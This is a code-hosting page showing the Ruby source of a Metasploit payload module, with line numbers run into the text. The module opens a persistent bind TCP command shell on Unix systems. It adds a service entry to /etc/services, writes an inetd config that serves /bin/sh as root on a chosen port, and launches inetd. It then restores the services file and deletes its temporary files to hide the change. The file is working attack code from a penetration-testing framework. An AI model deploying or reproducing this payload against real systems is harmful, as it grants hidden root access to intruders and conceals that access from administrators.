Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/bind_inetd.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 487910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Bind TCP (inetd)',16'Description' => 'Listen for a connection and spawn a command shell (persistent)',17'Author' => 'hdm',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::BindTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'Privileged' => true,25'RequiredCmd' => 'inetd',26'Payload' =>27{28'Offsets' => { },29'Payload' => ''30}31))32register_advanced_options(33[34OptString.new('InetdPath', [true, 'The path to the inetd executable', 'inetd']),35OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])36]37)38end3940#41# Constructs the payload42#43def generate(_opts = {})44vprint_good(command_string)45return super + command_string46end4748#49# Returns the command string to use for execution50#51def command_string52tmp_services = "/tmp/." + Rex::Text.rand_text_alpha(32)53tmp_inet = "/tmp/." + Rex::Text.rand_text_alpha(32)54svc = Rex::Text.rand_text_alpha_lower(9)5556cmd =57# Create a clean copy of the services file58"cp /etc/services #{tmp_services};" +5960# Add our service to the system one61"echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +6263# Create our inetd configuration file with our service64"echo #{svc} stream tcp nowait root #{datastore['ShellPath']} sh>#{tmp_inet};" +6566# First we try executing inetd without the full path67"#{datastore['InetdPath']} -s #{tmp_inet} ||" +6869# Next try the standard inetd path on Linux, Solaris, BSD70"/usr/sbin/inetd -s #{tmp_inet} ||" +7172# Next try the Irix inetd path73"/usr/etc/inetd -s #{tmp_inet};" +7475# Overwrite services with the "clean" version76"cp #{tmp_services} /etc/services;" +7778# Delete our configuration file79"rm #{tmp_inet} #{tmp_services};";8081return cmd82end83end848586